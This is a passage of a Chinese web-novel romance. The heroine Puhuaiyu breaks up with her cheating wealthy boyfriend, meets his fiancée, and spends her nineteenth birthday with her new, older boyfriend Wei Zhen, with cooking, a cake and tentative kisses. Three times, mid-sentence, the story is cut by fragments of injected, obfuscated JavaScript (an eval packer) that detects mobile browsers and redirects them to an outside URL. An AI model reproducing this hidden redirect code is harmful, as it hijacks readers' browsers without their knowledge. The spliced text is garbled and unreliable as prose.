“你刚才上楼的时候,我真该绊你一下。” 想想还是算了,万一现世报自己也被绊下去了怎么办,况且真闹出人命也不好收场。 简晟笑容僵了一瞬,想去握她的手又被躲开,只得干笑:“不要说这么可怕的话嘛。” 服务员很快就端上饮品,濮怀玉道谢,平和回答:“还是你先出轨,现在准备把我这个前女友变成心照不宣的小三更可怕。” 吸一小口——很好,非常符合价位的冲泡粉巧克力和劣质烤棉花糖。 她推给简晟:“你喝,不要浪费。” 刻在DNA的温驯让简晟下意识喝了一口,紧接着一张俊脸扭曲起来。 在简家少爷有限的人生中,所有食用的“劣质产品”,几乎都是在跟濮怀玉交往的过程中进了嘴巴,味道廉价得好像能把人毒死。 濮怀玉看他满脸苦色挖棉花糖吃,道:“你没反驳,看来我推断的时间线是正确的。” 他动作微滞。 “……小玉,不是这么算的。”简晟放下金属圆勺,“你看着我的眼睛,听我说。……小玉,我知道你一直都是最理解我的。” 濮怀玉因为他的曲解冷笑一声:“交往之初我就说过,你的家人如果对你另有安排,跟我说清楚就行,我们早做打算。但你是怎么做的?” 她是来享受恋爱的,不是为了先后体验大房和小三两种身份给自己添堵的。 简晟当然记得,但他只往有利于自己的方向理解。“我已经解决了我的问题,小玉。我们还可以像以前一样——” “你想怎样?谭小姐当你大老婆,我给你当小老婆?话说回来,你为了跟我谈清楚,就这样把她晾在那里,着实不好。” 事实证明,人至贱则无敌。濮怀玉改喝桌上的柠檬水,准备起身:“不管怎样,别开玩笑了。” 那全然是看不可回收垃圾的眼神。 “那我能怎么办?!” 简晟激动起来,捏住她的手腕,“我们门不当户不对,就算我姐勉强同意,闹到我爸面前,我所有的信用卡都会被冻结!” 他必须得顺着父亲的心,谭家不仅是姐姐看重的联姻对象,父亲也邀他吃了顿饭,难得仔细地跟他说清楚了其中的利害关系。父亲的眼睛是简晟这辈子最恐惧的东西,第二恐惧的是没钱花。 两害交织之下,他选择逃避。 “……在我们家,一胎奖励一百万。但如果是其他女人怀孕,最多十万打胎费。这意味着什么,这意味着我们肯定不会再有以后了!” 在这个瞬间,濮怀玉不合时宜想起在裴县的时候跟陈晓燕和刘红的对话。 多讽刺啊,没受过高等教育的女孩们都知道爱惜自己的身体,不要物化和被物化;但这些有钱的文明人,恶事做得心安理得。给有钱人家堕胎就是挺不一样,价钱上就要高贵不少。 甚至有些三四十岁、已然受过社会洗礼的成年人面对这张金线织就的网时,恐怕都会不由自主精打细算起来,不复指责“精神小妹”时占据道德制高点振振有词的慷慨激昂。 但其实远远不如她们中的人清醒。 濮怀玉心道,她就算穷到吃不起饭,下一秒就要虚弱到死去,也不会想这么做。 “我不需要‘以后’。”她轻而易举甩开简晟的手,“谭小姐不是你的信用卡,我也不是那块可能覆在你信用卡上的冰。” “就这样吧。我最后一次这么叫你,”濮怀玉平静道,“Jacob,以后别再来缠着我了,已经够难看的了。” 简晟依旧不依不饶:“……那个老男人是你的老师,你怎么能跟他恋爱!你们什么时候勾搭上的!” 濮怀玉目光越过栏杆,发现店员都装作没听见各自忙着,而他们是唯二的顾客。 “他没有让我陷入受害者的境地,准确来说我们真是这几天才勾搭上的。”她回过头,坦然到让眼前的青年遍身刺骨,“简单来说,就是我无缝衔接了。简晟。我就是这样的人,你现在看明白了吗?” “……他究竟使了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682930|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么手段……你明明说过你只喜欢比你年轻的……” 行了,她濮怀玉就是忘本了,那又怎样?“你看不到吗?他长得比你好看。”濮怀玉不耐烦,“我跟你勾搭上,也是因为你长得好看。早知道你家里这么复杂,我应该再加上一条,不跟有钱人谈。” 临走前,她不忘嘱托一句:“记得喝完,不要浪费。” 刚出门,濮怀玉站在路边,正准备一条一条回复隗祯的消息,不远处的玛莎拉蒂对她按了两下喇叭。 这个距离,实在有点吵。她直接走上前,原本想敲司机的车窗,却发现后排的车窗已然摇下,露出一张恬静精致的脸。 这位应该就是谭小姐了。即便她只化了很淡的妆容,也好像从头发到肩膀都泛着莹莹的珠光,比那次派对上见到的所有女生都要精心地养护身体的每处细节。 橱柜里面散发出莹润光泽的珍珠亦是一种美,只是太过昂贵,也太违背大多数人奔波的法则。只有极少数人会购置珠宝装点门楣,而面前的年轻女性带给濮怀玉的,首先是一种淡淡的非人感。 “我是谭孜茹,简晟的未婚妻。”轻轻点头致意后,她微笑着介绍自己,“濮小姐,我知道你。你和他很可惜。” 濮怀玉轻轻垂下眼睛:“我不可惜。谭小姐,你更可惜。” 谭孜茹此举,本是为了朝濮怀玉隐晦地示威,毕竟自己什么都做了,简晟的心依旧不在她身上,难免升起较量的心。 她也习惯这种“较量”,跟父亲的其他子女较量,跟朋友圈里的千金朋友们较量,现在要跟简晟没有任何背景的前女友较量,可以说轻轻松松。 先前作为朋友给简晟提建议,帮助他在濮怀玉面前讨点好,然后慢慢从简晟惧怕的长辈那边着手,简家和谭家的联姻几乎成了板上钉钉的事。 谭孜茹早就宽恕了简晟,这个活M就好艾斯爱慕女王那款,她从来是善解人意、宽容待人的人设,觉得向上靠难度有点大,索性想别的。 她想,要是那位前女友小姐逼不走,倚仗简晟的喜爱决定留下来,没背景的总比有名有姓的好斗。 然而此刻,濮怀玉在窗前微微低头,让谭孜茹想起童年时代被大哥打死的、那条独属于她的小狗。因为这个举动,无论谭孜茹和其他同父异母的姐妹斗得怎么狠,她都最恨他。 “……很抱歉让你经历这些。”濮怀玉轻声对她道歉,“他品性不好,不能专一,我已经和他断了。” 谭孜茹想,她的小狗临死前看着她,仿佛在说“我只是个小狗,但你不仅仅是‘谭孜茹’,你以后该怎么办呢”。 太像了。想到这,谭孜茹勉强挤出一点粉饰太平的笑:“濮小姐,你不需要道歉,Jacob也不是你口中的这种人。”她继续扮演着竞争者的角色,“他对我还是很好的,或许他伤了你的心,我代他向你道歉。” 绵长的叹息过后,濮怀玉后退一步。 “再见。” 她说,“我要回我男朋友的电话了。我说的是现在这任。” 这样吗……?谭孜茹看着她离开的背影,不自觉笑了一下。 小狗,总是很讨人喜欢的,但要得到小狗的喜欢可不那么容易。Jacob啊Jacob,不够忠诚的话,根本没办法赢得小狗的喜爱,原来是你被摆了一道呢。 至于濮怀玉,她往公交站台走,回拨电话给隗祯:“……不用担心,都解决了。我跟他的现任都在,怎么复合啊,要点脸的人都不会死缠烂打的。” 隗祯刚才边等电话边打扫卫生,倒是不复早晨的困意,然而满心都是焦虑。 “我最担心他会报复你。”他让自己陷进沙发,刚换的衬衫衣袖堆积在手肘处,肌肉线条喘出热气微微滴着汗,让他有些嫌恶地反复擦拭。 “不会的,他的女朋友看起来比他更通人性,应该能拉住他吧。……公交车来了,我先不跟你说了。” 挂断电话,濮怀玉在后座上长舒一口气。 真是的,偏偏在这个时候出现。她跟隗祯都被漫长的高铁时间折腾死了,还来添乱。 好烦。 49. 049 For 劳动节假期结束,戚致廷结束了他的假期飞回国,几乎是一下飞机就开始不懈骚扰濮怀玉,甚至相当绅士地注明自己为了不惊扰她度假,特意赶在假期结束后的第一天发来贺电。 “Jacob跟谭小姐现在的关系很密切,你要是还有点自尊心,最好主动退出”“濮小姐,你可别把太多希望寄寓在Jacob身上,他还没完全断奶呢”“简家跟我们戚家不一样,我能拿得了的主意,他可不行”……一句一句,像是攒了很久后一泻千里,也不管别人爱不爱听,就要兴奋地尽数吐露。 跟濮怀玉聊天很有意思,也许是他同样挺爱被羞辱吧,不过这也没什么不是不寻常的癖好。反正没别的,戚致廷就觉得很有趣味。 【打工皇帝】哦,我跟简晟分手了 【打工皇帝】互删一下吧[微笑] 说不清楚这一刻嘴角飞扬到天上去是为了什么,但戚致廷确实笑得前仰后合,让女伴觉得奇怪。 很好,两个玩不到一起去的人最终桥归桥、路归路,他也算做了件善事。 “删了干什么,我们不是朋友吗”,打完这行字,戚致廷满意地看到自己的消息成功发送出去,而不是左边跟一个小小的红色感叹号。 但对濮怀玉来说,微笑是一种礼貌,也是一种警告,她还是太给戚致廷脸了。 【打工皇帝】:简晟知道你通风报信的事了,我告诉的 【打工皇帝】:他坐享齐人之福的梦,你毁了,准备面对好兄弟的怒火吧[龇牙] 濮怀玉刻薄起来,顺便把自己也一同编进了地狱笑话合集,毕竟她真的不在乎这位男嘉宾了,已经迅速切换状态。 先拉黑再删除,整套动作行云流水,濮怀玉当即最要紧的是回寝室冲个澡,把篮球服换下来,然后火速出发。 今天是濮怀玉的生日,中午她跟舍友一起吃了顿漂亮饭,吃了蛋糕,没想到还有特别的礼物——这三个人竟然瞒着她,凑钱合买了一条幸运手链。 “这多见外啊。”濮怀玉原先不准备收下,结果她们起哄,说“究竟是谁见外”,只好无奈地戴上,触感似能凉了整个夏日。 看着她们关系亲近许多,想必借助挑选生日礼物的事弥合了不少缝隙。仅看这一条,濮怀玉也必须得收下了。 随后便是漫长的快递签收。妈妈和陆乔一起寄来的零食大礼包没有一个是濮怀玉不爱吃的,魏老师赠予的文具礼盒老派又实用,曼曼姐姐附专柜小票的玳瑁色水滴形发夹则无意中形成呼应。 隗祯似乎有个玳瑁色的眼镜。他戴那个,说实话,很性感。 可惜濮怀玉现在留着恣意的短发,还要在篮球场上跑来跑去,日常生活中实在没有用得上发卡的场合。她只能重新包装好放进抽屉深处,等下次跟濮曼吟见面时再戴。 至于同学,寄礼物的人比她想象中多了太多。最忙的秦紫怡不知道抽出多少时间做了一个A4大小的手账本,内附各种机关,藏着三个好朋友的高中记忆;卫殊包裹里的是拍立得,她贴心地准备了一叠相纸,翻到最底下是一张她跟秦紫怡不知道什么时候相聚时的合照;孙茉则将毕业季拍下的照片装进相册,附言“你是我见过最有种的女人”。 还有付可心。翻看她的礼物、记住她整个脱敏的过程需要勇气,也需要理解。理解她满怀信任的托付,理解她依旧在做着斗争,但这一次没有濮怀玉也可以度过。 尽管在长信一开始,她便唉声叹气说“我可能考不上燕京的学校了”,但比起成绩,濮怀玉更关心她本人的状态。 所以,她会自责吗?她会在某个看似平静的午后,默默咽下痛苦离开吗? 濮怀玉开始感到压抑,毕业后她对付可心的帮助很有限。尽管,自从能跟濮曼吟面对面谈心,她写信的对象便转变成付可心,写自己在燕京的所有见闻,什么都写,但这是不是杯水车薪,只有付可心自己知道。 她在信里聊到想死,又聊到想活,然后在信的末尾告诉濮怀玉:夏天到了,我又想起你在小巷里的背影,我知道你在告诉我,我的夏天迟早会来。 这让濮怀玉心情平复不少,但她仍不准备中断信件。就算高考结束问到她的去向,濮怀玉会继续坚持下去。 现在,她得先初步手洗,去除篮球服上的汗水和泥沙。就当是为了后来的女生能够更安心地使用它,濮怀玉这才用洗衣袋装好,带到楼层的洗衣机那边去。 再一次分别拒绝简晟和戚致廷的微信好友申请,濮怀玉怀着轻松的心情点进隗祯的聊天界面。 他已经开始做菜了,让她根据食材猜测晚餐吃什么,这对常年给孩子做饭的濮怀玉来说简直就是送分题。 隗祯的手艺,濮怀玉很清楚,她知道今晚又要快乐地摄入营养了。 【小玉(-.-)】在洗衣服,马上就来 【小玉(-.-)】我的[蛋糕]呢 每次看到备注,就像在被濮怀玉静静地看着。隗祯先前从未设想过,在交错的另一个世界线会存在这样一个人,仅仅是被她注视,都会感觉到被珍惜的幸福。 【兰花味的小葵花】先保密 【兰花味的小葵花】之前失败了很多次,这次还不错 【兰花味的小葵花】[小猫钻出礼物盒.gif] 哇塞,纯手工制作。 他都这么用心了,不期待可不行。 濮怀玉看了眼时间,快速在键盘上打完字发送,然后俯身收起衣物。 【小玉(-.-)】是你亲手做的吗 【小玉(-.-)】想即刻飞过去大吃一口:) 【小玉(-.-)】你说隗祯这玩意儿(嚼嚼)是谁发明的呢,怎么什么都会(嚼嚼) 也没有这么全能吧,他算是明白姓简的前男友怎么可以成自大到那种让人火大的样子,唇角刚扬起来一点就撇下去了。 哄人仿佛刻在濮怀玉的基因里,让隗祯下意识想不合时宜地询问“你从前跟简晟交往的时候也这样吗”,然而最终只是打出一行字又删掉,再打出一行字又删掉,煞有介事地斟酌起了属于年长一方的矜持。 【兰花味的小葵花】还好吧>_ 【兰花味的小葵花】慢慢来,不用着急,我还没有做好饭 【兰花味的小葵花】[猫咪炒菜.gif] 他究竟是从哪里找到这些可爱的颜文字和表情包的,明明先前还是电子老人的口吻,会发很可怕的微笑emoji给她,转眼间已经能用眼睛皱成闪电的颜文字给她投递爱心了。 如果将人的一生比作一整个世纪,明明只是个已经步入二十年代后半的老男人而已。然而无比微妙地,他索求着可爱、索求着比“贴心”更加贴合她所处世代的举动,像是要在共鸣中唤起她的些许怜爱。 不过,正在做饭啊……濮怀玉挺想帮他的。做饭可是个考验耐心的辛苦活,对她来说是熟能生巧的技艺,但有时候依旧会出状况,收拾起来也很麻烦。 所以洗好衣服,濮怀玉几乎是马不停蹄坐车前往他所在的小区。 今天还是她第一次到访隗祯的家。刚走到门口,濮怀玉便掏出拍立得,先在大门前给自己留下尺寸为“一张相片”的初始记忆。 然后,敲门、开门,这段单独的记忆动了起来,并将镜头转向眼前穿家居服的男人—— 里面确实别有洞天,能看出屋主原本的审美就不错,隗祯更是在暖黄色壁纸、柔光砖和实木家具的基础上添置了艺术挂画和盆栽,亚麻色躺椅上放着一本《像我们一样疯狂》,枝叶纹样的亚麻纱窗帘随空调吹出的冷风轻轻晃荡。 而他俯身抱她,一个毫无保留的、将自己的心脏紧紧托付给她的心脏的拥抱,说:“欢迎回家。” 是家吗?濮怀玉不确定,她暂时没有在随愿孤儿院以外的地方建立新家的打算,即便是宿舍,不过一个临时寄生的巢穴而已。 但隗祯,能给她家的错觉。 “……我已经闻到香味了。” 隗祯拉她去餐桌边,那股温柔如水的欣喜感是作不了的假:“我做好了几道菜,你饿的话可以先尝尝。” 米色不规则圆碗里,炙烤充分的贝贝南瓜依偎着虾仁、口蘑和牛油果,看上去很干净。除此以外,炖好的牛肉肉眼可见的软烂,汁水沁入切块红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694160|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡萝卜,香味互相渗透;铁板鸡蛋豆腐看着就很入味,咸香四溢,旁边还附了绿油油的芦笋。 “鸡汤还得等,我在里面放了各种菌子和山药,你喜欢就多吃多喝。”隗祯看她隐隐寻找着什么,便说,“米饭已经蒸好了,你不是喜欢吃实一点的吗?正在电饭煲里闷着,我先来给你盛一碗——” 但濮怀玉开口说的是:“我在找我能帮得上忙的地方。” 他在微信上说什么“还没完成好”,其实差不多都要结束了。 隗祯已经钻进半开放式厨房,将鸡汤盛进小碟尝一口,闻言回头:“可我不是让你来干活的,小玉。先吃吧,不用等我。” 但等濮怀玉坐定后,她第一时间说的是“我就要等”。 “这是礼节。”她解释道,“而且,你都说是家里了,一家人应该一起在饭桌上吃饭才对。” 濮怀玉一直是个很有主意、有主意到有时候显得有些执拗的人,隗祯知道劝不了,搅动汤勺时笑了笑:“你下午刚训练过,我担心你饿才这么说。” 拥抱的时候,没有一点汗味和尘埃。他心想,其实有也没关系,难道就会变生疏、不拥抱了吗? 不过,濮怀玉要是脸上有汗,隗祯恐怕会专门去挤干一条新毛巾给她擦擦脸,就像在裴县时那样,给她的脸颊降降温。 她有不吃饭的理由,他也有一定要和她拥抱的理由。没办法,濮怀玉太迫不及待了,这其中的喜爱无需多言。但濮怀玉清洗好出现在自己的面前,隗祯又觉得她未免太体谅人。 既然不愿,隗祯也不强迫她。到最后鸡汤盛出锅,他发现濮怀玉也没闲着,还在给餐桌拍照。 他端上桌,她还说:“我平常其实不太给饭菜拍照。” “随你喜欢。” 当然,这顿饭最重要的是蛋糕。隗祯早早想出这个折磨人的创意,做的过程、不断失败的过程确实很磨人,但他又想要濮怀玉能尝到好多个味道,所以变成痛苦的乐趣。 现在,她非常自觉地戴上寿星的王冠,有国王的气质,却无国王的傲慢,询问:“我们的蛋糕在哪里?” 在这里。隗祯小心翼翼从冰箱里取出。 是由巧克力千层,提拉米苏,巧克力水果挞,巧克力熔岩蛋糕,巧克力冰淇淋蛋糕以及布朗尼组成的的六拼生日蛋糕,正中心插着象征十九岁的立体蜡烛。 真的很震撼,巧克力脑袋的濮怀玉看花了眼,都不知道从哪个开始了。 难以想象他为了这块蛋糕怎么把厨房搞得乱七八糟,但她到访后厨房很干净,冰箱里除了这块蛋糕没有别的。 系统:「……嗝。」这段时间,它觉得自己简直要吃吐了。只需要隗祯一个转身,桌上的残次品就会被一个无形的大嘴吞噬,隗祯没有被繁琐的制作过程逼到恶心,系统先觉得生理性恶心了。 隗祯甚至很乐在其中。系统有理由怀疑,当初要是给隗祯匹配了甜点师职业,他能做得更优秀。 「不一定。」他回答,「制作对外出售的产品和表达对小玉的心意不是一回事。」 加上这辈子,隗祯也算是老树开花了。系统这次没有讽刺他,毕竟他在给濮怀玉带来幸福的同时自己也一起幸福了,实在没有惊扰这场美好幻梦的必要。 餐厅里,男人开始唱生日歌。低沉的嗓音带着轻松的、哼唱的腔调,温柔轻盈得不真实。 “……闭上眼睛许愿吧。” 许愿健康,幸福,为自己许愿。 闭上眼睛又睁开,濮怀玉露出熟悉的、老实的表情来——跟当初不一样,隗祯心想,那里面喜欢的意味是不需要质疑的。 或许有顺水推舟,借助他尽快摆脱上一段感情的因素,但那只是“起因”,不是“结果”。隗祯并不反感这样的起因,如果濮怀玉会抱着他的肩膀得意洋洋向前男友示威,他反倒有种荣幸感。 濮怀玉看着他:“如果我说,现在你就能帮我实现呢?” 隗祯满脸不觉,跳进她的圈套。“那你刚才就应该告诉我,愿望不应该浪费在我身上。” “有必要。”她满脸正直,“我想要你亲我。” 50. 050 Kiss 亲吻和拥抱并不一样,虽然隗祯愿意紧紧拥抱她,但濮怀玉心想,他不一定能下定主动吻自己的决心。 拥抱是珍重的喜悦,体型相近的物种无法将彼此捧起,便通过拥抱将别人包进臂弯、手心,想象对方在手心自在地旋舞;亲吻则不仅是珍爱,还是骤然闪烁、从低存在感变成不言自明的欲念,是温柔克制的啃咬。 她已经很熟悉隗祯了,不说能从里到外将他透彻分析一遍,但产生欲念再自然不过。濮怀玉甚至性急地在“答应告白”后火急火燎咬上一口,她也是在那时反应过来,自己对隗祯这个人的确怀有某种生理性质的欢喜。 眼下,濮怀玉开始整理皇冠,这已经是再确定不过的明示,明确到霸道的程度。 整理完,她端正坐姿,说:“今天我是寿星,连星星都要围着我转。” 何况这个忙前忙后,为濮怀玉洗手作羹汤到刁钻的男朋友,各种层面上的新鲜出炉——因为他脸红了。 餐桌上,饭菜无动于衷飘着香。食欲能勾起更隐晦的欲求,这句话诚不欺她。 以及,暖色调不会起到任何抑制作用,只会刺激这种感受。 “……我们,还是先吃饭吧。” 隗祯从喉咙深处生涩地挤出这句话,声音暗哑,“等吃完饭……吃好饭再说。” 先逃跑吧,可是逃又能逃到哪里去呢。濮怀玉只好先端起饭碗:“我会好好吃的。” “那——这个切角是冰淇淋的,我先单独拿出来放冰箱里。” 他偏要欲盖弥彰借助起身的动作掩饰发烧的脸色,结果垂头“分蛋糕”时,濮怀玉大大方方主动凑过去,仰起脸看,不忘提醒:“你的嘴唇有点干,不要不小心咬出血了。” 转身间,隗祯笑着说:“刚才太忙了,没有顾得上。” “嗯。身体状况非常重要。”濮怀玉看着他的背影,默默等着——她恐怕是史上最好说话、最讲礼貌,也最绅士风度的狼了,饿成这样也不会急眼地摆出狩猎姿态,“亲吻的话,唇部状况也很重要,最好有一定的湿润度。” 冰箱关门时发出闷响。 ……他连控诉都是小声的。 系统:「叮,已开启录像功能记录宿主的精彩时刻。」 「……」 其实是隗祯的狼狈时刻。 逼急了也不好,他性格内敛柔和,从家中颇有品味的摆设也能看出对文艺的偏好。濮怀玉吃了一口炖牛肉,刹那间就想明白了,大口大口爽利地吃起来。 吃了隗祯火力全开状况下精心烹饪的家常菜才知道,她在学校食堂凑合的一顿一顿是什么。是虚度光阴,是对味蕾和身体健康的双重摧残。 简而言之,濮怀玉被香迷糊了,暂时没空想亲不亲的事。 她不想,隗祯已经被搅得心情凌乱,倒是不得不想了。 他们才交往多久。怎么这么快。想都不用想,肯定是简晟带坏的。 少年人火气大,简晟还是个振振有词、自我中心主义的富家公子,如何缠着濮怀玉要接吻,骚扰一样地缠,走前走后不依不饶,得到施舍的吻后高兴地晃脑袋,隗祯完全能想象得出来。 “你也吃。” 濮怀玉用公筷给隗祯夹菜,含蓄地催促他快点进入状态,“再不吃……都要被我抢走了。” “你要是全都能吃完,我不会阻拦的。” 将豆腐外壳吃掉,柔软的部分和着料汁跟米饭充分搅拌,然后她再加进喷香的口蘑,一口下去什么都不用想,“那不行……蛋糕……也要吃……” 已经不是长身体的年纪,濮怀玉的胃口较那时内敛很多,但食量依旧可怕。 隗祯考虑到了这一点,所以今晚的菜肴是二人餐·至尊超级plus版。看着濮怀玉满脸都是“好吃到生气”,他默默让系统关掉镜头,最好连眼睛也都闭起来,不许拍和看。 蛋糕的口味也很好,进口的原料和扎实的用量是小葵花牌小厨房众多优势中最不显眼的两个。 最为精巧的,是无需专心感受就能摸上味蕾的用心。 “你真的不吃吗?” 他委婉地拒绝:“我已经尝过很多了。” 然而,并非“吃过很多所以腻了”的眼神,更像是“为了这一刻的注视而生”的眼神。 ——嗜甜,胃口大,食欲和隐秘的欲|望都很汹涌的十九岁。 从前她如何跟同龄人宣泄青春,以后便如何对他宣泄。 “以后”啊……真是个让人伤感的词语。 吃完餐后甜点,濮怀玉要帮忙收拾。她蓬勃的食欲完全抵得上隗祯这个成年男性,也因此有了强健的体魄,力气大到应该可以揽着他的腰抱起来。 之所以说“应该可以”,是因为濮怀玉对这件事有兴趣、幻想过,但她还没有实施。 能把他抱起来的、有力的双手也可以收拾残局,将餐具擦拭干净。濮怀玉习惯于这样双线并行的生活,隗祯却非要把她拦在外面,催促她去沙发上看电影。 他有一个老掉牙的、不能给她任何参考的私人电影清单——这是隗祯自己说的,然后他非要濮怀玉吃完饭就休息,享乐主义地做一块硬邦邦的沙发土豆。 “因为我有……大男子主义!” 他终于憋出一句理由来,让濮怀玉面无表情地“噗”了一声。 她摊手:“那好吧。” 遂在沙发上坐好,拨弄隗祯口中对她来说没有任何吸引力的电影清单。都很旧,几乎全是千禧年以前的作品。濮怀玉暂时没有静下心品味这些老旧艺术品的打算,在电视机上搜寻起来,随机锁定一部评分不错的恐怖片,看了十分钟发现是部有点搞笑色彩的僵尸片,血都是绿色的,于是瘫倒下来。 她做什么都很专注,包括享乐,看电影很快沉浸进去,因而错过了隗祯放轻脚步走进盥洗室时鬼鬼祟祟的姿态。 他将自己反锁进去,下定决心似的,开始逐步清洁嘴部内外。 先仔细刷牙,然后用漱口水清洗口腔,最后是口腔喷雾。隗祯纠结了很久,最后选择了桃子口味,在镜前反复检查。 濮怀玉后来听见水声,但她没太在意,撑着下颚看电影。 “啪嗒”的出门声让她条件反射般报备:“我看完电影就走。你要来跟我一起看吗,如果没有工作要做的话。” “还有,其实我刚才骗你的。我的愿望不是亲你。”实际上,她许下了所有亲朋好友都健康的愿望,每个人都想了一遍,隗祯当然也包括其中。 等她以后工作了,他就不用这么辛苦。濮怀玉甚至有个打算,倘若她挣得够多,隗祯就不需要出去工作了。他用那张脸在外面晃悠,没有权势庇护的美貌最好低调行事,濮怀玉可不想沦为强取豪夺剧情中不情不愿咽下一口气的原配。 不管怎样,对濮怀玉来说,“以后”是个很有吸引力的词。 然而,还不等濮怀玉说出愿望的内容,脸颊上便传来柔软的、清凉的触感,还能闻到浅淡却诱人的果香,是桃子。 她喜欢的水果。 ……寓意微妙的水果。 自己也算是接吻的老手了,隗祯也并不是她的初恋,但濮怀玉仍对这个清纯的脸颊吻有些出神,心想:软软的。 亲吻完,隗祯故作镇定在她身边坐下:“我们一起看吧。” 濮怀玉摸了摸脸,然后转过头:“我说的是‘亲亲’吧?那就是两个,一个都不能少。” “没有……!” 他记得很清楚,明明濮怀玉刚开始不是这么说的! “那我是怎么说的?” “你说——”因为羞耻和隐秘的期待,隗祯再次做了抿唇的动作,“‘我想要你亲我’。”他的记忆力可没有差到濮怀玉不久之前说的话都能忘记。 濮怀玉点头:“好。” 随后是一个同样印在脸颊上的脸,像在安抚旅行过程中所有不爽的咬痕。 离开时,濮怀玉直截了当看他的眼睛说:“我的愿望是你们都可以身体健康。我还特意做了补充说明,我不接受短时间的健康和突然的死亡,我要的是长长久久的安康。” 真挚、温柔、周道。 特别是落在隗祯身上的时候,几乎是命中注定般契合他的来处。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707038|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 仿佛弹指间帮他击碎死亡的魔咒,再带他离开冰冷的大厦、抵达温暖的地带。 “……我可以靠着你看吗?” “这是你表达感谢的方式?当然可以。” 比起他靠着她,更像是两个人相互依偎在沙发上。无根的浮萍彼此簇拥在一起,共享着那一点潮湿,再竭力抓取为数不多投向水面的阳光。 看完电影,濮怀玉又吃了点蛋糕,说周末还会来。 她抿去圆勺上的巧克力酱,说:“不会让你浪费的,哪怕我需要天天来。” 这对隗祯来说有点过于甜蜜了。他嘴上说着“如果你有时间,我当然欢迎”,实际上已经想好明晚她到访的菜单。 夜幕降临,隗祯送濮怀玉到车站。有直达燕大最近车站的班车,他和她在长椅上一起坐了会儿,直到车来。 “虽然很可爱,但那种吻属于小孩子过家家。” 瞥见醒目的数字,濮怀玉急匆匆攥住隗祯的小臂,在他耳边认真道,“以后不准再这么糊弄我。” 说完头也不回上了车。在车上,濮怀玉点开聊天界面改了备注,倒要看他怎么狡辩。 【桃子味的小葵花】没有糊弄,对我来说需要勇气 【桃子味的小葵花】慢慢来好不好T^T 【桃子味的小葵花】[小猫飞吻.gif] 的确很会狡辩,还很会讨巧卖萌。 ——明明只是老男人而已! 濮怀玉草草回了个“好”,对着窗外灯火唉声叹气起来。她觉得氛围到了,接吻而已,但隗祯似乎认为必须要徐徐图之,那她也没办法。 她喜欢他,尊重他,所以拿他没办法。 …… 校际联赛那天,濮怀玉作为得分后卫屡次惊险地投篮成功,不乏许多惊艳的三分球。淹没在平均身高一米八五以上的成员中间,小巧玲珑的她投出关键一球,比赛结束后被兴奋地队友抛起来庆祝。 就这样挺进决赛圈,她被汗涔涔地放下,边喝水边用毛巾接住滴落的汗水,整个人都湿漉漉的。 队长走近,手在她后背上轻拍:“教练说,等会儿她请我们去吃烤肉,大家,想吃什么就吃什么。你这个大功臣更是重量级,就算要她飞上天去摘星星,她也愿意。” “不至于这么夸张,没你们我不行。” 紧接着想起隗祯,濮怀玉掏出手机,差点从手心滑出去。 【打工皇帝】你在看吗 【桃子味的小葵花】一直在看,你跟队员说话的时候我也在看(^з^) 【桃子味的小葵花】[照片×9] 【桃子味的小葵花】要跟队员一起聚餐的话,回到学校记得给我报平安 虽然从头到尾都没有见上一面,但濮怀玉或多或少能够接收到隗祯善解人意的信号。无非是给她留足空间,他不想介入这段光辉灿烂的时光。 然而,在吃烤肉的间隙,学姐忽然问起简晟的事情来:“哎,学妹,你那男朋友会不会来接你啊?你今天可是胜利女神附体了哦。” 都怪濮怀玉这位前男友太过招摇,先前精心打扮过开豪车来将濮怀玉接走,走前还跟几位队友坐在餐桌边聊了聊,导致那顿饭到最后不分主次,注意力都在他身上。 以前能宽容,现在濮怀玉宽容不了。“已经是前男友了。”她喝了口柠檬水,做出苦酒入喉心作痛状,“因为他出轨。” 餐桌上齐刷刷安静了几秒,紧接着爆发一场宏大的讨伐。以学姐为首,从豪车“不知道是怎么来的”,到灰蓝眼睛“到处乱瞟,已有取死之道”,骂得狗血淋头。 “嘉辰她们几个的话可能糙了点,你别往心里去。”教练寻思着差不多了,姗姗来迟上个价值以正视听,“就让这个糟心前任随风而逝吧,咱们不纠结,不留恋。” 濮怀玉放下水杯:“没事的,姜老师,我也很快找了个新的。” 餐桌上又是一片欢声笑语,笑称濮怀玉是“吾辈楷模”,话题紧接着又回到刚结束的比赛上面。 直到一起坐车离开,她们都在回味这场全员铸成的大获全胜。 51. 051 【小玉(-.-)】终于提交实验了 【小玉(-.-)】跟舍友出去吃饭[图片.jpg] 濮怀玉才不会告诉隗祯自己又翘课了,毕竟这么满的课表要想外出游玩,除了翘课没有别的选择。 时至今日,凭借强运和观察力,濮怀玉虽然从未请过代课,但是她一次都没有被老师抓到。 